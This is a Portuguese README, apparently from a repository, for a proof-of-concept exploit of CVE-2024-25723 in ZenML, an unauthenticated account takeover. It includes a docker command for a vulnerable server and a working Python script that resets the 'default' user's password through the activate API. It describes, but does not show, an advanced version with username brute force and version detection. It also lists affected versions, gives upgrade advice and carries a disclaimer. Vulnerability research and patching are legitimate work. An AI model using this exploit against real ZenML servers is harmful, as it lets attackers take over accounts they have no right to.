
Exploração de Prova de Conceito educacional para CVE-2024-25723, demonstrando tomada de conta não autorizada no ZenML via redefinição de senha por API, com detecção de versão e enumeração de nomes de usuário por força bruta.
Este repositório é dedicado a abordar a CVE-2024-25723, uma vulnerabilidade crítica de segurança no ZenML, com uma Prova de Conceito (PoC) educacional fornecida para ilustrar o problema e incentivar a mitigação imediata. A PoC demonstra como um usuário não autorizado poderia potencialmente explorar a vulnerabilidade para assumir o controle de qualquer conta do ZenML.
docker run -it -d -p 8080:8080 --name zenml zenmldocker/zenml-server:0.46.0
import requests
base_url = "http://localhost:8080"
user = "default"
new_password = "3gx9AbzP92rfHhZ"
activate_api_url = f"{base_url}/api/v1/users/{user}/activate"
activate_api_headers = {"Content-Type": "application/json"}
activate_api_json={"password": new_password}
activate_api_response = requests.put(activate_api_url, headers=activate_api_headers, json=activate_api_json)
print(activate_api_response.json())
A diferença entre a PoC e o exploit avançado é que o exploit avançado realiza brute force nos nomes de usuário mais usados e também é capaz de detectar se a versão é vulnerável ou não através de uma API que vaza a versão do ZenML. Para usar o exploit avançado, salve o seguinte código em um arquivo:
O comando para executar este exploit é:
python3 advanced-exploit-CVE-2024-25723.py https://example.com
Todas as versões do ZenML abaixo de 0.46.7 são vulneráveis, com exceção das seguintes versões de patch: (0.44.4, 0.43.1, 0.42.2).
Atualize para a versão mais recente (0.46.7 ou superior) ou para uma das versões corrigidas (0.44.4, 0.43.1, 0.42.2) para mitigar este risco.
A Prova de Conceito (PoC) fornecida neste repositório é apenas para fins educacionais e de pesquisa em segurança. As informações e o código são destinados a serem usados por profissionais de segurança cibernética e pesquisadores para entender e proteger contra vulnerabilidades em software e sistemas. Qualquer uso desta PoC, informações relacionadas ou código para atacar alvos sem consentimento mútuo prévio é ilegal e estritamente proibido.
Ao usar esta PoC, você concorda que compreende o impacto potencial da vulnerabilidade que ela demonstra e que a utilizará de forma responsável e ética. Os autores desta PoC se isentam de qualquer responsabilidade por qualquer uso indevido deste material ou por quaisquer danos que possam ocorrer pelo uso das informações e do código fornecidos. É responsabilidade do usuário final obedecer a todas as leis locais, estaduais, nacionais e internacionais aplicáveis.
Os autores fizeram todos os esforços para garantir a precisão e confiabilidade das informações fornecidas neste repositório. No entanto, as informações são fornecidas "como estão" sem garantia de qualquer tipo. Os autores não aceitam qualquer responsabilidade ou obrigação pela precisão, conteúdo, completude, legalidade ou confiabilidade das informações contidas.